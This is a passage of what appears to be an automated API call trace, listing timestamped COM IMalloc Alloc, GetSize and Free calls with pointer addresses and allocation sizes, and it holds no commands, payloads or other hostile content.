(This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0105.578] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0105.578] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0105.578] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0105.578] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0105.578] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6240 [0105.578] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) returned 0x10 [0105.578] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6240) [0105.579] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06500 [0105.579] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb06500) returned 0x20 [0105.579] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06500) [0105.579] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8277f0 [0105.579] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8277f0) returned 0x30 [0105.785] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8277f0) [0105.785] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881bf0 [0105.785] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x48 [0105.798] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0105.799] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0105.799] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0105.799] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0105.799] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0105.799] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) returned 0x10 [0105.799] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0105.799] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09050 [0105.799] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09050) returned 0x8 [0105.800] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09050) [0105.800] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0105.800] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) returned 0x10 [0105.800] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0105.800] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0105.800] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0105.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0105.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0105.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x10 [0105.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0105.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0105.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0105.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0105.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0105.802] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) returned 0x10 [0105.802] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0105.802] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0105.802] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0105.802] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0105.802] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0105.802] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0105.803] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0105.803] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0105.803] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0105.803] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0105.803] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0105.803] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0105.803] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0105.803] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0105.803] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0105.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0105.804] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09020 [0105.804] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09020) returned 0x8 [0105.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09020) [0105.804] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0105.804] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0105.805] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0105.805] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0105.805] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0105.805] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0105.805] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0105.805] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0105.805] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0105.806] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0105.806] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0105.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0105.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6080) [0105.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5aa0) [0105.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5b00) [0105.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5960) [0105.811] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5da0) [0105.811] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5ca0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5e60) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5a40) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5800) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5e80) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5d80) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e61c0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6000) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5b80) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5ea0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6620) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5c80) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e60e0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5900) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6020) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5cc0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e63e0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6400) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5b60) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5c00) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5980) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5de0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5860) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f00) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e58e0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6560) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e62a0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6100) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e66a0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e61a0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e63a0) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6060) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6760) [0105.812] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5820) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5920) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6520) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5840) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f40) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f20) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511e30) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827830) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f640) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f790) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8279f0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f2e0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828270) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fbe0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f940) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f1f0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f310) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f340) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f7f0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f880) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fc70) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fa30) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f8b0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f370) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fa60) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fb20) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fc10) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f3d0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827df0) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fc40) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f400) [0105.813] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fca0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960480) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960570) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fdf0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9607b0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95fe80) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9605d0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960780) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828070) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8282b0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827bf0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8280b0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95ffa0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9601b0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960210) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960120) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9602d0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8273f0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827070) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960300) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960240) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960150) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8269f0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827470) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b826ff0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827630) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960270) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95feb0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95ffd0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9604b0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95ff40) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9603c0) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960000) [0105.814] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9608d0) [0105.815] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960900) [0105.815] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b960630) [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b826c70 [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b826f30 [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb06d70 [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06b60 [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb065c0 [0105.815] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06ec0 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06620 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06c80 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511a20 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5800 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5b60 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5820 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5900 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5e60 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5840 [0105.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e58a0 [0105.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5ca0 [0105.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5aa0 [0105.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5d80 [0105.817] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b881bf0 [0105.817] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x40 [0105.942] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0105.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882550 [0105.942] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882550) returned 0x40 [0105.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882550) [0105.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0105.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0105.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0105.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e57a0 [0105.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e57a0) returned 0x10 [0105.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e57a0) [0105.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b881fb0 [0105.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881fb0) returned 0x40 [0105.956] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881fb0) [0105.956] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb067d0 [0105.956] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb067d0) returned 0x28 [0105.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb067d0) [0105.957] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06c20 [0105.957] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb06c20) returned 0x28 [0105.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06c20) [0105.958] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb063e0 [0105.958] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb063e0) returned 0x28 [0105.958] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb063e0) [0105.970] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f50 [0105.970] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) returned 0x8 [0105.970] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) [0105.971] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0105.971] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5800) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5b60) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5aa0) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5e60) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5d80) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5ca0) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e58a0) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5840) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5900) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5820) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511a20) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b826c70) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b826f30) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06d70) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06b60) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb065c0) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06ec0) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06620) [0105.971] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06c80) [0105.972] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b827730 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb064a0 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06c20 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b826f30 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb067d0 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b826930 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb06800 [0105.973] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06830 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb069b0 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06aa0 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb065c0 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06620 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06860 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06890 [0105.974] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06d70 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb064d0 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb068c0 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b826970 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb068f0 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb06920 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06e60 [0105.975] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06da0 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb063e0 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb06950 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06980 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06d10 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06b30 [0105.976] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06b60 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b826c70 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b826770 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8269b0 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b826a30 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06b90 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06410 [0105.977] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b828570 [0106.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b827ff0 [0106.078] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb06650 [0106.079] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb06c50 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06bf0 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06c80 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06e90 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b8283f0 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b827770 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06cb0 [0106.085] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06d40 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06ec0 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828670 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b827df0 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06350 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb01d30 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb021e0 [0106.086] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb01df0 [0106.087] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb02150 [0106.087] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb02030 [0106.087] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb02210 [0106.087] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb02630 [0106.087] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5840 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5800 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e57a0 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e58a0 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5920 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5820 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5940 [0106.088] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e59a0 [0106.088] IMalloc:Alloc 